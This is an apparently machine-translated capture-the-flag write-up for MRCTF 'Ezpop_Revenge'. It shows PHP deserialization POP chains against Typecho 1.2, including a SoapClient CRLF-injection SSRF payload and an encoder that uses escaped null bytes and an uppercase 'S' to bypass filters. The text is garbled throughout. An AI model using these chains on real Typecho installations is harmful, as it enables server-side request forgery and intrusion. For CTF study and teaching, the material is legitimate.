MRCTF Ezpop_Revenge小记

Foreword

Deserialize a typecho1.2, and step on the way to record what pit

www.zip obtain the source code, the structure is as follows
Here Insert Picture Description
flag.php need ssrf, if successful, will write session
Here Insert Picture Description
to get the source code directly to the Internet first find out if there is a ready-made payload (lazy,
find a similar
https: // p0sec. net / index.php / archives / 114 /
but the entry point is install.php, and the source code in the install.php has been deleted, global search:
Here Insert Picture Description
path is usr / plugins / HelloWorld / Plugin.php
Here Insert Picture Description
obviously this is deserialization point, but here is a method can not be directly used, then dove for a long time, and then I have a defined route ==
typecho \ under plugin.php:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

First, see here:
Here Insert Picture Description
It is clear entry point, follow Typecho_Db :: __ construct
Here Insert Picture Description
then here are a mosaic of characters, so I find __tostring accordance with the idea that the above article (followed by step on pit)

Stepped pit

Here Insert Picture Description
358 line tostring under Feed.php
Here Insert Picture Description
and with no past, then you can find __get
Request.php
Here Insert Picture Description
follow up
Here Insert Picture Description
follow up _applyFilter
Here Insert Picture Description
value of this -> _ params [ 'screenName '] decision controllable, $ _ filter also controllable, rce? ? (Crazy mouth up)
so I constructed the following pop chain:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
        var_dump($this->coincidence);
    }
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Feed
{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function __construct(){
        $this->_items=array('author' => new Typecho_Request());
    }
}
class Typecho_Request{
    private $_filter=array();
    private $_params=array();
    public function __construct()
    {
        $this->_params['screenName'] = -1;
        $this->_filter = array('phpinfo');
    }
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

However, here too much filtering function, function commands executed almost entirely filtered, then I have been tested, end of the game did not try out ... (this looks like a pop-chain typecho1.1 applicable version)

Correct

Then I suddenly thought if you can rce why are ssrf read flag ....
Well actually start __tostring I was looking in the wrong, should find query.php springboard
Here Insert Picture Description
see if $ this -> _ sqlPreBuild [ ' action' ] = SELECT on the call:

$this->_adapter->parseSelect($this->_sqlPreBuild)

Then make $ this -> _ adapter is Soapclient example, trigger _call complete ssrf
call chain:
HelloWorld_DB :: Wakeup ->
Typecho_Db :: __ Construct (toString) ->
Typecho_Db_Query :: __ Construct ->
(the this -> _ = new new Adapter SoapClient) ->
SSRF

Then a pit:
here are mostly private member variable, and private invisible character needed to fill 00%, while here% is filtered:
Here Insert Picture Description
Then you need to use \ 00 instead of 00%

Here's knowledge of it, did not come across before:

In the latest CVS PHP5, the
new serialization mode is called escaped binary string, which is a relatively common and non-escaped binary string that is the mode:
String data type (String) a new serialization format:
S : "<length>": " <value>";
wherein <length> is the length of the source string, and not <value> length. <length> is a non-negative integer, before the number can have a positive sign (+). <value> is a string after the escape.
It's very simple escape coding, the ASCII code for the character is less than 128 (but not including \), in accordance with the single byte (identification of the same s), 128 to 255 for the characters and \ characters, it is ASCII code value is converted to a hexadecimal encoded string to \ as beginning next two bytes are the hexadecimal encoding of the character, arranged in the order from the high to the low, i.e. corresponding to the bits 8-5 hexadecimal numeric characters (abcdef these lowercase letters) as the first byte, the second byte in bits 4-1. Down coding sequence, is obtained <value> content.

Common sequence corresponding to that of small s normal string, such as s: 3: "% 00a% 00";
and the sequence of the corresponding S is large \ plus hex, such as S: 2: "\ 00a \ 00 ";
look at an example
Here Insert Picture Description
will not be visible character% 00 is converted to hexadecimal, the successful implementation of large s wakeup
Here Insert Picture Description
lowercase s then fail
Here Insert Picture Description
then there will need to be translated into all% \, and then identify the string s into S, by a method where the master Ying Qi: https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}

The string: colon break array, then traverse a $ arr [$ i] every 00 matches, if a small s $ arr [$ i-2 ] in replaces is S, then: splicing, see below this example will know the
Here Insert Picture Description
final payload:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }


}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

Plus a? Admin = 1 to
Here Insert Picture Description

Guess you like

Origin www.cnblogs.com/W4nder/p/12596114.html